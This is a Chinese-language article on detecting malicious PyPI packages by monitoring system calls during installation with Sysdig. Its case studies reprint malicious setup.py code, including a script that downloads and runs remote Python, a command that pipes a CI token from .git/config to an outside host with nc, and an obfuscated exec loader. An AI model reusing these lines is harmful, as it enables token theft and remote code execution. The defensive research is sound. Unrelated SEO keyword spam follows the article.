千家信息网

如何在PyPI上寻找恶意软件包

发表于:2024-11-11 作者:千家信息网编辑
千家信息网最后更新 2024年11月11日,如何在PyPI上寻找恶意软件包,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。大约一年前,Python软件基金会(Python Sof
千家信息网最后更新 2024年11月11日如何在PyPI上寻找恶意软件包

如何在PyPI上寻找恶意软件包,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

大约一年前,Python软件基金会(Python Software Foundation,RFI)公开了一个信息请求(RFI),讨论的是如何检测上传到PyPI的恶意软件包,这显然是一个影响几乎每个包管理器的实际问题。

事实上,像PyPI这样的包管理器是几乎每个公司都依赖的关键基础设施。这是我感兴趣的一个领域,所以我用我的想法回应我们应该如何去处理这个问题。在这篇文章中,我将详细介绍如何安装和分析PyPI中的每个包,并寻找其中潜在的恶意活动。

如何寻找恶意库

为了在软件包的安装过程中执行任意命令,开发人员通常会将代码添加到代码包里的setup.py文件中,具体可以参考这个【代码库】。

从大的角度来看,我们有两种方法可以找到潜在的恶意依赖组件,即静态分析和动态分析。虽然静态分析非常有趣,但本文主要使用的是动态分析方法。

那么,我们到底要寻找什么呢?

首先我们要知道一点,很多重要的事情都是由内核完成的。一般的程序(例如pip)如果想要让内核来完成某个任务时,一般都是通过使用syscalls,即系统调用完成的。打开文件,建立网络连接,以及执行命令等任务,都是通过系统调用实现的。

这也就意味着,如果我们能在一个Python包的安装过程中监控系统调用的话,那我们就可以去查看任何可疑的事件了。这样做的好处就在于,无论恶意代码经过了多少层混淆处理,我们都可以查看到这些代码实际要做的事情。

现在,我们只要要做的事情就是监控系统调用了,那么我们该如何做呢?

使用Sysdig监控系统调用

实际上,社区已经提供了很多能够帮助我们监控系统调用的工具了。针对我们这个目标,我选择使用的时Sysdig,因为它既能够提供结构化的输出,又能够帮助我们很好地对数据进行过滤。

为了实现这一点,在启动安装包的Docker容器时,我还启动了一个Sysdig进程,该进程只会监视来自该容器的事件。除此之外,我还过滤掉了跟pypi.org或files.pythonhosted.com相关的网络读写操作,因为它们跟我们的目标无关。

现在我们已经有了捕获系统调用的方法,但还有一个不得不解决的问题,即如何获取所有可用PyPI包的完整列表。

获取Python包

幸运的是,PyPI提供了一个名为"Simple API"的API接口,这个接口可以被当作是一个包含了指向每一个软件包链接的大型HTML页面。我们可以爬取这个页面中的信息,并使用pup来对链接进行解析,这样我们就可以拿到大约268000个软件包:

❯ curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt                ❯ wc -l pypi_full.txt  268038 pypi_full.txt

针对我们的实验场景,我们需要的是每一个软件包的最新版本,我们的管道如下:

简而言之,我们将每个包的名称发送到一组EC2实例,它可以从PyPI获取关于包的一些元数据,然后启动sysdig以及一系列容器来通过pip安装包,同时收集系统调用和网络流量。然后,所有的数据都被传送到S3以供后续分析使用。

整个过程如下图所示:

上述操作完成后,我们将在一个S3 Bucket中存储大约1TB的数据,其中包含了大约245000个软件包。我们对元数据和输出进行整理之后,将得到一系列JSON文件:

{    "metadata": {},    "output": {        "dns": [],         // Any DNS requests made        "files": [],       // All file access operations        "connections": [], // TCP connections established        "commands": [],    // Any commands executed    }}

然后,我编写了一系列脚本来聚合数据,试图对代码的行为进行分析,让我们深入研究一下结果。

网络请求

软件包在安装过程中需要进行网络连接的原因有很多,它们可能需要下载合法的二进制组件或其他资源,也有可能是在尝试从系统中提取数据或凭证。

我们发现,其中有460包会跟109台单独的主机建立网络连接。正如上面提到的,其中相当一部分是由于软件包共享依赖组件(这些依赖会进行网络连接)的结果。不过,我们可以通过映射依赖关系可以过滤掉这些内容。

命令执行

与网络连接一样,软件包在安装期间运行系统命令也是有正当理由,这里可以是编译本机二进制文件和设置正确的环境等等。纵观我们的示例集,我们发现有60725个包会在安装期间执行命令。就像网络连接一样,我们必须记住,许多连接都是由运行命令的包的下游依赖组件发起的。

有趣的软件包

深入研究结果,大多数网络连接和命令似乎是合法的。但是,我想把一些奇怪的行为作为案例研究,来说明这种分析有多有用。

i-am-malicious

这里,我们发现了一个名叫i-am-malicious的包,它就是一个恶意包。如果大家觉得这个包的名字还不够明显的话,下面的细节也足以证明一切:

{  "dns": [{          "name": "gist.githubusercontent.com",          "addresses": [            "199.232.64.133"          ]    }]  ],  "files": [    ...    {      "filename": "/tmp/malicious.py",      "flag": "O_RDONLY|O_CLOEXEC"    },    ...    {      "filename": "/tmp/malicious-was-here",      "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"    },    ...  ],  "commands": [    "python /tmp/malicious.py"  ]}

我们看到,它会跟gist.github.com建立连接,执行一个Python文件,然后创建一个名为"/tmp/malicious-was-here"的文件。果不其然,这些全部都是利用setup.py实现的:

from urllib.request import urlopen handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")with open("/tmp/malicious.py", "wb") as fp:    fp.write(handler.read()) import subprocess subprocess.call(["python", "/tmp/malicious.py"])

maliciouspackage

另一个恶意包甚至直接把名字都改成了maliciouspackage,下面给出的是相关的输出:

{  "dns": [{      "name": "laforge.xyz",      "addresses": [        "34.82.112.63"      ]  }],  "files": [    {      "filename": "/app/.git/config",      "flag": "O_RDONLY"    },  ],  "commands": [    "sh -c apt install -y socat",    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",    "grep ci-token /app/.git/config",    "nc laforge.xyz 5566"  ]}

这个包似乎能够从".git/config"文件中提取出令牌,并将其上传至laforge.xyz。通过分析其setup.py,我们可以看到下列内容:

...import osos.system('apt install -y socat')os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')

easyIoCtl

还有一个名叫easyIoCtl的包,它声称能够抽象化IO操作,但我们发现它会执行下列命令:

[  "sh -c touch /tmp/testing123",  "touch /tmp/testing123"]

这很可疑,但不一定具有恶意性。不过这个例子很好地展示了我们用于跟踪系统调用的方法。下面是该项目的setup.py文件:

class MyInstall():    def run(self):        control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'        control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]        control_flow_guard_init = ""        for controL_flow_code in control_flow_guard_mappers:            control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]        exec(control_flow_guard_init)

为了弄清楚这些代码要做的事情,我们可以用print来代替exec,结果如下:

import os;os.system('touch /tmp/testing123')

这就是它索要执行的命令,即使代码经过了混淆处理,也不会影响我们的分析结果,因为我们是在系统调用级别上进行的监控。

关于如何在PyPI上寻找恶意软件包问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注行业资讯频道了解更多相关知识。

软件 软件包 系统 分析 恶意 网络 命令 代码 文件 数据 问题 方法 结果 监控 事情 监控系统 组件 过程 帮助 内容 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 平度软件开发哪家便宜 数据库常见的数据类型 空间域名和服务器哪个好 在数据库系统中 模式 是指 银行环境信息披露数据库 邮件服务器登录不了怎么办 艾尔登法环一直无法登录服务器 软件开发专业赚钱吗 小学生网络安全隐患有哪些 戴尔服务器怎么进入安全模式 仿冒网站是否属于网络安全事件 湳发银行软件开发地址在哪上海 orlcle是大型数据库 网络安全攻防夺旗大赛 微信软件开发代理哪家好 3d建模软件开发 兰溪市天气预报软件开发 软件开发要学java语言 关系型数据库的基本原理答案 如何自建缓存服务器 服务器拒绝电脑用的是什么协议 成都计算机软件开发哪家实惠 如何激活软件开发团队效率 网络安全攻防夺旗大赛 沈阳雅译网络技术招聘 四川宜宾网络安全培训 网络安全的资源好少 防火墙可以做dns服务器吗 数据库连表的几种 ovid数据库怎么多选数据导出
0